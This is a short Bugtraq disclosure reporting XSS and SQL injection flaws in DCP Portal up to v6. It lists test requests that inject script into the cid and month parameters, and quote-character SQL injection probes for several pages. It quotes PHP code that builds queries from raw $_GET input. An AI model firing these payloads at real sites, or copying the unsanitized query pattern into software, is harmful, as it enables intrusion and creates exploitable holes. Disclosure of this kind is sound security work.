Bugtraq: DCP - portal XSS & SQL attacks

[alex () aleksanet com]

Web Site: http://www.dcp-portal.org/

DCP Portal <= v6

This script is possibly vulnerable to SQL Injection attacks AND  Cross Site Scripting (XSS) attacks

The script has been tested with these query variables: 

XSS :

http://[target]/index.php?page=send&cid=<script>alert(document.cookie);</script>

XSS - only POST metod 

calendar.php
http://[target]/calendar.php

The script has been tested with these POST variables: 

month=<script>alert(document.cookie);</script>&s=1&submit=GO&year=2003&day=01

Also this script is possibly vulnerable to SQL Injection attacks.

The SQL Injection attacks has been tested with these POST variables: 

register.php

sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&hide=on&list=on&action=send&submit=Send

lostpassword.php

mode=lost&email=%27&submit=Send

calendar.php
month=1&s=1&submit=GO&year='&day=01
month=1&s=1&submit=GO&year=%27&day=01

index.php?cid=%27[SQL]

cod from index.php

 $sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name";
  $result = mysql_query($sql);


forums.php?action=showmsg&mid=%27[SQL]

cod from forum.php

$resultt = mysql_query("SELECT * FROM $t_forum_msg WHERE b_id = '".$_GET["bid"]."' $where AND msg_id = '0'");
  while($rowt=mysql_fetch_array($resultt)) {

Best Regards
Alex